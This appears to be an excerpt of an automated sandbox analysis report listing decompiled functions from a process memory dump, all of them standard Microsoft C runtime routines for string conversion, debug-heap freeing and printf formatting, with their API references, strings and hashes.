0x00000000
0x0043bd0d
0x0043c550
0x0043c550
0x0043c550
0x0043c550
0x0043c550
0x0043c550
0x0043c550
0x0043c3a7
0x0043c39e
0x0043c2c2
0x0043c2c2
0x0043c2c2

APIs

_get_int64_arg.LIBCMTD ref: 0043C2D0
_get_int64_arg.LIBCMTD ref: 0043C2F8
__aullrem.LIBCMT ref: 0043C4A0
__aulldiv.LIBCMT ref: 0043C4C2
_write_multi_char.LIBCMTD ref: 0043C5DB
_write_string.LIBCMTD ref: 0043C5F6
_write_multi_char.LIBCMTD ref: 0043C622
__mbtowc_l.LIBCMTD ref: 0043C691

Strings

9, xrefs: 0043C4D3
("Incorrect format specifier", 0), xrefs: 0043B99A, 0043B9E0
_woutput_s_l, xrefs: 0043B9DB
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 0043B9A6, 0043B9D6

Memory Dump Source

Source File: 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.390089776.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.390253520.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390284837.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390298973.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_8939.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem__mbtowc_l_write_string
String ID: ("Incorrect format specifier", 0)$9$_woutput_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 3455034128-2408376751
Opcode ID: bdb48e12c929ce384a87cb2b14f78783b6553f3c95417f7feee7b7633b902591
Instruction ID: 4aa0b42c7710fc00a587a4de6040b1b586ac8baa4d73a76d49d401e534ea1c4d
Opcode Fuzzy Hash: bdb48e12c929ce384a87cb2b14f78783b6553f3c95417f7feee7b7633b902591
Instruction Fuzzy Hash: 46F12AB1D002299FDB24CF55C881BAEB7B5FF89304F14919AE609BB241D7389E84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004370B3, Relevance: 33.3, APIs: 22, Instructions: 296
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E004370B3(void* __ebx, void* __edi, void* __esi) {
				intOrPtr* _t143;
				signed int* _t145;
				int _t150;
				intOrPtr* _t167;
				intOrPtr _t189;
				void* _t206;
				intOrPtr _t223;
				intOrPtr _t230;
				void* _t272;
				void* _t273;
				signed int _t274;

				_t273 = __esi;
				_t272 = __edi;
				_t206 = __ebx;
				if( *(_t274 + 8) == 0) {
					_t143 = E0041ACF0(_t274 - 0x20);
					_t208 =  *_t143;
					if( *((intOrPtr*)( *_t143 + 0x14)) != 0) {
						_t210 = _t274 - 0x20;
						_t145 = E0041ACF0(_t274 - 0x20);
						_t256 =  *_t145;
						 *(_t274 - 4) = WideCharToMultiByte( *( *_t145 + 4), 0,  *(_t274 + 0xc), 0xffffffff, 0, 0, 0, _t274 - 0x10);
						if( *(_t274 - 4) == 0 ||  *(_t274 - 0x10) != 0) {
							 *((intOrPtr*)(L00422D10(_t210))) = 0x2a;
							 *(_t274 - 0x68) = 0xffffffff;
							E0041ACC0(_t274 - 0x20);
							_t150 =  *(_t274 - 0x68);
						} else {
							 *(_t274 - 0x6c) =  *(_t274 - 4) - 1;
							E0041ACC0(_t274 - 0x20);
							_t150 =  *(_t274 - 0x6c);
						}
					} else {
						_t256 =  *(_t274 + 0xc);
						 *(_t274 - 0x64) = E0042DA00(_t208,  *(_t274 + 0xc));
						E0041ACC0(_t274 - 0x20);
						_t150 =  *(_t274 - 0x64);
					}
					L47:
					return E0042BB60(_t150, _t206,  *(_t274 - 0x24) ^ _t274, _t256, _t272, _t273);
				}
				if( *((intOrPtr*)( *((intOrPtr*)(E0041ACF0(_t274 - 0x20))) + 0x14)) != 0) {
					if( *((intOrPtr*)( *((intOrPtr*)(E0041ACF0(_t274 - 0x20))) + 0xac)) != 1) {
						_t223 =  *((intOrPtr*)(E0041ACF0(_t274 - 0x20)));
						_t256 =  *(_t223 + 4);
						 *(_t274 - 4) = WideCharToMultiByte( *(_t223 + 4), 0,  *(_t274 + 0xc), 0xffffffff,  *(_t274 + 8),  *(_t274 + 0x10), 0, _t274 - 0x10);
						if( *(_t274 - 4) == 0 ||  *(_t274 - 0x10) != 0) {
							if( *(_t274 - 0x10) != 0 || GetLastError() != 0x7a) {
								 *((intOrPtr*)(L00422D10(_t223))) = 0x2a;
								 *(_t274 - 0x4c) = 0xffffffff;
								E0041ACC0(_t274 - 0x20);
								_t150 =  *(_t274 - 0x4c);
							} else {
								while( *(_t274 - 4) <  *(_t274 + 0x10)) {
									_t167 = E0041ACF0(_t274 - 0x20);
									_t230 =  *((intOrPtr*)(E0041ACF0(_t274 - 0x20)));
									_t256 =  *(_t230 + 4);
									 *((intOrPtr*)(_t274 - 0xc)) = WideCharToMultiByte( *(_t230 + 4), 0,  *(_t274 + 0xc), 1, _t274 - 0x2c,  *( *_t167 + 0xac), 0, _t274 - 0x10);
									if( *((intOrPtr*)(_t274 - 0xc)) == 0 ||  *(_t274 - 0x10) != 0) {
										 *((intOrPtr*)(L00422D10(_t230))) = 0x2a;
										 *(_t274 - 0x50) = 0xffffffff;
										E0041ACC0(_t274 - 0x20);
										_t150 =  *(_t274 - 0x50);
									} else {
										if( *((intOrPtr*)(_t274 - 0xc)) < 0 ||  *((intOrPtr*)(_t274 - 0xc)) > 5) {
											 *((intOrPtr*)(L00422D10(_t230))) = 0x2a;
											 *(_t274 - 0x54) = 0xffffffff;
											E0041ACC0(_t274 - 0x20);
											_t150 =  *(_t274 - 0x54);
										} else {
											if( *(_t274 - 4) +  *((intOrPtr*)(_t274 - 0xc)) <=  *(_t274 + 0x10)) {
												 *(_t274 - 8) = 0;
												while( *(_t274 - 8) <  *((intOrPtr*)(_t274 - 0xc))) {
													( *(_t274 + 8))[ *(_t274 - 4)] =  *((intOrPtr*)(_t274 +  *(_t274 - 8) - 0x2c));
													_t256 =  &(( *(_t274 + 8))[ *(_t274 - 4)]);
													if(( *(_t274 + 8))[ *(_t274 - 4)] != 0) {
														 *(_t274 - 8) =  *(_t274 - 8) + 1;
														 *(_t274 - 4) =  *(_t274 - 4) + 1;
														continue;
													}
													 *(_t274 - 0x5c) =  *(_t274 - 4);
													E0041ACC0(_t274 - 0x20);
													_t150 =  *(_t274 - 0x5c);
													goto L47;
												}
												_t256 =  &(( *(_t274 + 0xc))[1]);
												 *(_t274 + 0xc) =  &(( *(_t274 + 0xc))[1]);
												continue;
											}
											 *(_t274 - 0x58) =  *(_t274 - 4);
											E0041ACC0(_t274 - 0x20);
											_t150 =  *(_t274 - 0x58);
										}
									}
									goto L47;
								}
								 *(_t274 - 0x60) =  *(_t274 - 4);
								E0041ACC0(_t274 - 0x20);
								_t150 =  *(_t274 - 0x60);
							}
						} else {
							 *(_t274 - 0x48) =  *(_t274 - 4) - 1;
							E0041ACC0(_t274 - 0x20);
							_t150 =  *(_t274 - 0x48);
						}
						goto L47;
					}
					if( *(_t274 + 0x10) > 0) {
						 *(_t274 + 0x10) = E004374A0( *(_t274 + 0xc),  *(_t274 + 0x10));
					}
					_t256 =  *(_t274 + 0xc);
					_t189 =  *((intOrPtr*)(E0041ACF0(_t274 - 0x20)));
					_t243 =  *(_t189 + 4);
					 *(_t274 - 4) = WideCharToMultiByte( *(_t189 + 4), 0,  *(_t274 + 0xc),  *(_t274 + 0x10),  *(_t274 + 8),  *(_t274 + 0x10), 0, _t274 - 0x10);
					if( *(_t274 - 4) == 0 ||  *(_t274 - 0x10) != 0) {
						 *((intOrPtr*)(L00422D10(_t243))) = 0x2a;
						 *(_t274 - 0x44) = 0xffffffff;
						E0041ACC0(_t274 - 0x20);
						_t150 =  *(_t274 - 0x44);
					} else {
						if( *((char*)( &(( *(_t274 + 8))[ *(_t274 - 4)]) - 1)) == 0) {
							 *(_t274 - 4) =  *(_t274 - 4) - 1;
						}
						_t256 =  *(_t274 - 4);
						 *(_t274 - 0x40) =  *(_t274 - 4);
						E0041ACC0(_t274 - 0x20);
						_t150 =  *(_t274 - 0x40);
					}
					goto L47;
				} else {
					goto L2;
				}
				while(1) {
					L2:
					_t248 =  *(_t274 - 4);
					if( *(_t274 - 4) >=  *(_t274 + 0x10)) {
						break;
					}
					_t256 =  *(_t274 + 0xc);
					if(( *( *(_t274 + 0xc)) & 0x0000ffff) <= 0xff) {
						( *(_t274 + 8))[ *(_t274 - 4)] =  *( *(_t274 + 0xc));
						_t256 =  *( *(_t274 + 0xc)) & 0x0000ffff;
						 *(_t274 + 0xc) =  &(( *(_t274 + 0xc))[1]);
						if(( *( *(_t274 + 0xc)) & 0x0000ffff) != 0) {
							_t256 =  *(_t274 - 4) + 1;
							 *(_t274 - 4) =  *(_t274 - 4) + 1;
							continue;
						}
						 *(_t274 - 0x38) =  *(_t274 - 4);
						E0041ACC0(_t274 - 0x20);
						_t150 =  *(_t274 - 0x38);
					} else {
						 *((intOrPtr*)(L00422D10(_t248))) = 0x2a;
						 *(_t274 - 0x34) = 0xffffffff;
						E0041ACC0(_t274 - 0x20);
						_t150 =  *(_t274 - 0x34);
					}
					goto L47;
				}
				 *(_t274 - 0x3c) =  *(_t274 - 4);
				E0041ACC0(_t274 - 0x20);
				_t150 =  *(_t274 - 0x3c);
				goto L47;
			}

0x004370b3
0x004370b3
0x004370b3
0x004370b7
0x004373ee
0x004373f3
0x004373f9
0x0043742b
0x0043742e
0x00437433
0x0043743f
0x00437446
0x00437453
0x00437459
0x00437463
0x00437468
0x0043746d
0x00437473
0x00437479
0x0043747e
0x0043747e
0x004373fb
0x004373fb
0x00437407
0x0043740d
0x00437412
0x00437412
0x0043748b
0x00437498
0x00437498
0x004370cb
0x00437175
0x00437241
0x00437243
0x0043724d
0x00437254
0x00437279
0x0043728b
0x00437291
0x0043729b
0x004372a0
0x004372a8
0x004372a8
0x004372bd
0x004372df
0x004372e1
0x004372eb
0x004372f2
0x004372ff
0x00437305
0x0043730f
0x00437314
0x0043731c
0x00437320
0x0043732d
0x00437333
0x0043733d
0x00437342
0x0043734a
0x00437353
0x0043736b
0x00437386
0x0043739b
0x004373a0
0x004373a8
0x0043737a
0x00437383
0x00000000
0x00437383
0x004373ad
0x004373b3
0x004373b8
0x00000000
0x004373b8
0x004373c5
0x004373c8
0x00000000
0x004373c8
0x00437358
0x0043735e
0x00437363
0x00437363
0x00437320
0x00000000
0x004372f2
0x004373d3
0x004373d9
0x004373de
0x004373de
0x0043725c
0x00437262
0x00437268
0x0043726d
0x0043726d
0x00000000
0x00437254
0x0043717f
0x00437191
0x00437191
0x004371a6
0x004371b4
0x004371b6
0x004371c0
0x004371c7
0x00437201
0x00437207
0x00437211
0x00437216
0x004371cf
0x004371db
0x004371e3
0x004371e3
0x004371e6
0x004371e9
0x004371ef
0x004371f4
0x004371f4
0x00000000
0x00000000
0x00000000
0x00000000
0x004370d1
0x004370d1
0x004370d1
0x004370d7
0x00000000
0x00000000
0x004370d9
0x004370e4
0x00437113
0x00437118
0x00437121
0x00437126
0x00437141
0x00437144
0x00000000
0x00437144
0x0043712b
0x00437131
0x00437136
0x004370e6
0x004370eb
0x004370f1
0x004370fb
0x00437100
0x00437100
0x00000000
0x004370e4
0x0043714c
0x00437152
0x00437157
0x00000000

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004370FB
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00437131
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00437152
wcsncnt.LIBCMTD ref: 00437189
WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 004371BA
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004371EF
_wcslen.LIBCMTD ref: 004373FF
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043740D

Memory Dump Source

Source File: 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.390089776.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.390253520.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390284837.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390298973.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_8939.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$ByteCharMultiWide_wcslenwcsncnt
String ID:
API String ID: 4277434810-0
Opcode ID: 52babf2aa059d2923123ad3f94df2ec5cb9d162f7c6b0d4406c32d4b4a6ba0a6
Instruction ID: 367d95694826e7b5c3da9f78488eb26657ae5a50ccc60da53910f1326e53cfef
Opcode Fuzzy Hash: 52babf2aa059d2923123ad3f94df2ec5cb9d162f7c6b0d4406c32d4b4a6ba0a6
Instruction Fuzzy Hash: E9D12771904208EFCF14DF94C894AEEB7B1FF49314F20915AE8526B2A1DB38AE41DF95

Uniqueness

Uniqueness Score: -1.00%

Function 0041C4D5, Relevance: 31.8, APIs: 6, Strings: 12, Instructions: 264memoryCOMMON

Download Yara Rule

APIs

_CheckBytes.LIBCMTD ref: 0041C4E9
__CrtIsValidHeapPointer.LIBCMTD ref: 0041C575
_CheckBytes.LIBCMTD ref: 0041C620
_CheckBytes.LIBCMTD ref: 0041C6DA
_memset.LIBCMT ref: 0041C7D1
__free_base.LIBCMTD ref: 0041C7DD

Strings

HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer., xrefs: 0041C6A7
Client hook free failure., xrefs: 0041C54C
_CrtIsValidHeapPointer(pUserData), xrefs: 0041C581
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d)., xrefs: 0041C669
The Block at 0x%p was allocated by aligned routines, use _aligned_free(), xrefs: 0041C4F9
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041C58D, 0041C5EB, 0041C7A6
pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ, xrefs: 0041C79A
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d)., xrefs: 0041C723
u!h@$@, xrefs: 0041C57F
tDj, xrefs: 0041C52B
_BLOCK_TYPE_IS_VALID(pHead->nBlockUse), xrefs: 0041C5DF
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer., xrefs: 0041C761

Memory Dump Source

Source File: 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.390089776.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.390253520.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390284837.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390298973.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_8939.jbxd

Similarity

API ID: BytesCheck$HeapPointerValid__free_base_memset
String ID: Client hook free failure.$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d).$The Block at 0x%p was allocated by aligned routines, use _aligned_free()$_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)$_CrtIsValidHeapPointer(pUserData)$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c$pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ$tDj$u!h@$@
API String ID: 25084783-1491168652
Opcode ID: 6be94447cfd04a7abb6af570c1eb0e52c4768e5b2648e377d20e13f816c97d8f
Instruction ID: 37dac6539df2142ba9da65a6147dd792cd32365e0f4d9bf1ccd9102997b37841
Opcode Fuzzy Hash: 6be94447cfd04a7abb6af570c1eb0e52c4768e5b2648e377d20e13f816c97d8f
Instruction Fuzzy Hash: 9391B674B80205FBDB24DB44DE96FAA7366AB48704F304155F604AB2C2D2B5FE81CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 00434B87, Relevance: 28.2, APIs: 11, Strings: 5, Instructions: 241
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E00434B87(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int* _t494;
				signed int _t502;
				void* _t507;
				signed int _t509;
				void* _t529;
				signed int _t547;
				void* _t558;
				signed int _t567;
				void* _t625;
				void* _t626;
				signed int _t627;
				void* _t629;
				void* _t630;

				L0:
				while(1) {
					L0:
					_t626 = __esi;
					_t625 = __edi;
					_t558 = __ebx;
					_t494 = E00428200(_t627 + 0x14);
					_t630 = _t629 + 4;
					 *(_t627 - 0x298) = _t494;
					if(E00433DB0() != 0) {
						goto L118;
					}
					L109:
					__edx = 0;
					if(0 == 0) {
						 *(__ebp - 0x32c) = 0;
					} else {
						 *(__ebp - 0x32c) = 1;
					}
					__eax =  *(__ebp - 0x32c);
					 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
					if( *(__ebp - 0x29c) == 0) {
						_push(L"(\"\'n\' format specifier disabled\", 0)");
						_push(0);
						_push(0x695);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
						_push(2);
						__eax = L0041E220();
						__esp = __esp + 0x14;
						if(__eax == 1) {
							asm("int3");
						}
					}
					if( *(__ebp - 0x29c) != 0) {
						L117:
						while(1) {
							L190:
							if( *(_t627 - 0x28) != 0) {
								goto L216;
							}
							L191:
							if(( *(_t627 - 0x10) & 0x00000040) != 0) {
								if(( *(_t627 - 0x10) & 0x00000100) == 0) {
									if(( *(_t627 - 0x10) & 0x00000001) == 0) {
										if(( *(_t627 - 0x10) & 0x00000002) != 0) {
											 *((char*)(_t627 - 0x14)) = 0x20;
											 *(_t627 - 0x1c) = 1;
										}
									} else {
										 *((char*)(_t627 - 0x14)) = 0x2b;
										 *(_t627 - 0x1c) = 1;
									}
								} else {
									 *((char*)(_t627 - 0x14)) = 0x2d;
									 *(_t627 - 0x1c) = 1;
								}
							}
							 *((intOrPtr*)(_t627 - 0x2c4)) =  *((intOrPtr*)(_t627 - 0x18)) -  *(_t627 - 0x24) -  *(_t627 - 0x1c);
							if(( *(_t627 - 0x10) & 0x0000000c) == 0) {
								E004355C0(0x20,  *((intOrPtr*)(_t627 - 0x2c4)),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
								_t630 = _t630 + 0x10;
							}
							E00435600( *(_t627 - 0x1c), _t627 - 0x14,  *(_t627 - 0x1c),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
							_t630 = _t630 + 0x10;
							if(( *(_t627 - 0x10) & 0x00000008) != 0) {
								if(( *(_t627 - 0x10) & 0x00000004) == 0) {
									E004355C0(0x30,  *((intOrPtr*)(_t627 - 0x2c4)),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
									_t630 = _t630 + 0x10;
								}
							}
							if( *(_t627 - 0xc) == 0) {
								L212:
								E00435600( *((intOrPtr*)(_t627 - 4)),  *((intOrPtr*)(_t627 - 4)),  *(_t627 - 0x24),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
								_t630 = _t630 + 0x10;
								goto L213;
							} else {
								L204:
								if( *(_t627 - 0x24) <= 0) {
									goto L212;
								}
								L205:
								 *(_t627 - 0x2dc) = 0;
								 *((intOrPtr*)(_t627 - 0x2c8)) =  *((intOrPtr*)(_t627 - 4));
								 *(_t627 - 0x2cc) =  *(_t627 - 0x24);
								while(1) {
									L206:
									 *(_t627 - 0x2cc) =  *(_t627 - 0x2cc) - 1;
									if( *(_t627 - 0x2cc) == 0) {
										break;
									}
									L207:
									 *(_t627 - 0x32e) =  *((intOrPtr*)( *((intOrPtr*)(_t627 - 0x2c8))));
									_t547 = E004340D0(_t627 - 0x2d0, _t627 - 0x2d8, 6,  *(_t627 - 0x32e) & 0x0000ffff);
									_t630 = _t630 + 0x10;
									 *(_t627 - 0x2dc) = _t547;
									 *((intOrPtr*)(_t627 - 0x2c8)) =  *((intOrPtr*)(_t627 - 0x2c8)) + 2;
									if( *(_t627 - 0x2dc) != 0) {
										L209:
										 *(_t627 - 0x24c) = 0xffffffff;
										break;
									}
									L208:
									if( *(_t627 - 0x2d0) != 0) {
										L210:
										E00435600( *((intOrPtr*)(_t627 + 8)), _t627 - 0x2d8,  *(_t627 - 0x2d0),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
										_t630 = _t630 + 0x10;
										continue;
									}
									goto L209;
								}
								L211:
								L213:
								if( *(_t627 - 0x24c) >= 0) {
									if(( *(_t627 - 0x10) & 0x00000004) != 0) {
										E004355C0(0x20,  *((intOrPtr*)(_t627 - 0x2c4)),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
										_t630 = _t630 + 0x10;
									}
								}
							}
							L216:
							if( *(_t627 - 0x20) != 0) {
								L0041C3E0( *(_t627 - 0x20), 2);
								_t630 = _t630 + 8;
								 *(_t627 - 0x20) = 0;
							}
							while(1) {
								L218:
								 *(_t627 - 0x251) =  *( *(_t627 + 0xc));
								_t598 =  *(_t627 - 0x251);
								 *(_t627 + 0xc) =  *(_t627 + 0xc) + 1;
								if( *(_t627 - 0x251) == 0 ||  *(_t627 - 0x24c) < 0) {
									break;
								} else {
									if( *(_t627 - 0x251) < 0x20 ||  *(_t627 - 0x251) > 0x78) {
										 *(_t627 - 0x310) = 0;
									} else {
										 *(_t627 - 0x310) =  *( *(_t627 - 0x251) +  &M00407E18) & 0xf;
									}
								}
								L7:
								 *(_t627 - 0x250) =  *(_t627 - 0x310);
								_t509 =  *(_t627 - 0x250) * 9;
								_t567 =  *(_t627 - 0x25c);
								_t598 = ( *(_t509 + _t567 + 0x407e38) & 0x000000ff) >> 4;
								 *(_t627 - 0x25c) = ( *(_t509 + _t567 + 0x407e38) & 0x000000ff) >> 4;
								if( *(_t627 - 0x25c) != 8) {
									L16:
									 *(_t627 - 0x318) =  *(_t627 - 0x25c);
									if( *(_t627 - 0x318) > 7) {
										continue;
									}
									L17:
									switch( *((intOrPtr*)( *(_t627 - 0x318) * 4 +  &M00435410))) {
										case 0:
											L18:
											 *(_t627 - 0xc) = 0;
											_t512 = E004310C0( *(_t627 - 0x251) & 0x000000ff, E0041ACF0(_t627 - 0x40));
											_t633 = _t630 + 8;
											__eflags = _t512;
											if(_t512 == 0) {
												L24:
												E00435520( *(_t627 - 0x251) & 0x000000ff,  *(_t627 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
												_t630 = _t633 + 0xc;
												goto L218;
											} else {
												E00435520( *((intOrPtr*)(_t627 + 8)),  *(_t627 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
												_t633 = _t633 + 0xc;
												_t572 =  *( *(_t627 + 0xc));
												 *(_t627 - 0x251) =  *( *(_t627 + 0xc));
												_t598 =  *(_t627 + 0xc) + 1;
												__eflags = _t598;
												 *(_t627 + 0xc) = _t598;
												asm("sbb eax, eax");
												 *(_t627 - 0x27c) =  ~( ~( *(_t627 - 0x251)));
												if(_t598 == 0) {
													_push(L"(ch != _T(\'\\0\'))");
													_push(0);
													_push(0x486);
													_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
													_push(2);
													_t524 = L0041E220();
													_t633 = _t633 + 0x14;
													__eflags = _t524 - 1;
													if(_t524 == 1) {
														asm("int3");
													}
												}
												L22:
												__eflags =  *(_t627 - 0x27c);
												if( *(_t627 - 0x27c) != 0) {
													goto L24;
												} else {
													 *((intOrPtr*)(L00422D10(_t572))) = 0x16;
													E00422AA0(_t558, _t572, _t625, _t626, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
													 *(_t627 - 0x2f4) = 0xffffffff;
													E0041ACC0(_t627 - 0x40);
													_t502 =  *(_t627 - 0x2f4);
													goto L229;
												}
											}
										case 1:
											L25:
											 *(__ebp - 0x2c) = 0;
											__edx =  *(__ebp - 0x2c);
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											__eax =  *(__ebp - 0x28);
											 *(__ebp - 0x18) =  *(__ebp - 0x28);
											__ecx =  *(__ebp - 0x18);
											 *(__ebp - 0x1c) = __ecx;
											 *(__ebp - 0x10) = 0;
											 *(__ebp - 0x30) = 0xffffffff;
											 *(__ebp - 0xc) = 0;
											goto L218;
										case 2:
											L26:
											__edx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
											 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
											__eflags =  *(__ebp - 0x31c) - 0x10;
											if( *(__ebp - 0x31c) > 0x10) {
												goto L33;
											}
											L27:
											__ecx =  *(__ebp - 0x31c);
											_t73 = __ecx + 0x435448; // 0x498d04
											__edx =  *_t73 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t73 & 0x000000ff) * 4 +  &M00435430))) {
												case 0:
													goto L30;
												case 1:
													goto L31;
												case 2:
													goto L29;
												case 3:
													goto L28;
												case 4:
													goto L32;
												case 5:
													goto L33;
											}
										case 3:
											L34:
											__edx =  *((char*)(__ebp - 0x251));
											__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
											if( *((char*)(__ebp - 0x251)) != 0x2a) {
												__eax =  *(__ebp - 0x18);
												__eax =  *(__ebp - 0x18) * 0xa;
												__eflags = __eax;
												__ecx =  *((char*)(__ebp - 0x251));
												_t97 = __ecx - 0x30; // -48
												__edx = __eax + _t97;
												 *(__ebp - 0x18) = __eax + _t97;
											} else {
												__eax = __ebp + 0x14;
												 *(__ebp - 0x18) = E00428200(__ebp + 0x14);
												__eflags =  *(__ebp - 0x18);
												if( *(__ebp - 0x18) < 0) {
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) | 0x00000004;
													__eflags = __ecx;
													 *(__ebp - 0x10) = __ecx;
													 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
													 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
												}
											}
											goto L218;
										case 4:
											L40:
											 *(__ebp - 0x30) = 0;
											goto L218;
										case 5:
											L41:
											__eax =  *((char*)(__ebp - 0x251));
											__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
											if( *((char*)(__ebp - 0x251)) != 0x2a) {
												__edx =  *(__ebp - 0x30);
												__edx =  *(__ebp - 0x30) * 0xa;
												__eflags = __edx;
												_t108 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
												__ecx = __edx + _t108;
												 *(__ebp - 0x30) = __ecx;
											} else {
												__ecx = __ebp + 0x14;
												 *(__ebp - 0x30) = E00428200(__ebp + 0x14);
												__eflags =  *(__ebp - 0x30);
												if( *(__ebp - 0x30) < 0) {
													 *(__ebp - 0x30) = 0xffffffff;
												}
											}
											goto L218;
										case 6:
											L47:
											__edx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
											 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
											__eflags =  *(__ebp - 0x320) - 0x2e;
											if( *(__ebp - 0x320) > 0x2e) {
												L70:
												goto L218;
											}
											L48:
											__ecx =  *(__ebp - 0x320);
											_t116 = __ecx + 0x435470; // 0x4c7e9003
											__edx =  *_t116 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t116 & 0x000000ff) * 4 +  &M0043545C))) {
												case 0:
													L53:
													__edx =  *(__ebp + 0xc);
													__eax =  *( *(__ebp + 0xc));
													__eflags =  *( *(__ebp + 0xc)) - 0x36;
													if( *( *(__ebp + 0xc)) != 0x36) {
														L56:
														__edx =  *(__ebp + 0xc);
														__eax =  *( *(__ebp + 0xc));
														__eflags =  *( *(__ebp + 0xc)) - 0x33;
														if( *( *(__ebp + 0xc)) != 0x33) {
															L59:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc));
															__eflags =  *( *(__ebp + 0xc)) - 0x64;
															if( *( *(__ebp + 0xc)) == 0x64) {
																L65:
																L67:
																goto L70;
															}
															L60:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx;
															__eflags =  *__ecx - 0x69;
															if( *__ecx == 0x69) {
																goto L65;
															}
															L61:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc));
															__eflags = __ecx - 0x6f;
															if(__ecx == 0x6f) {
																goto L65;
															}
															L62:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc));
															__eflags =  *( *(__ebp + 0xc)) - 0x75;
															if( *( *(__ebp + 0xc)) == 0x75) {
																goto L65;
															}
															L63:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx;
															__eflags =  *__ecx - 0x78;
															if( *__ecx == 0x78) {
																goto L65;
															}
															L64:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc));
															__eflags = __ecx - 0x58;
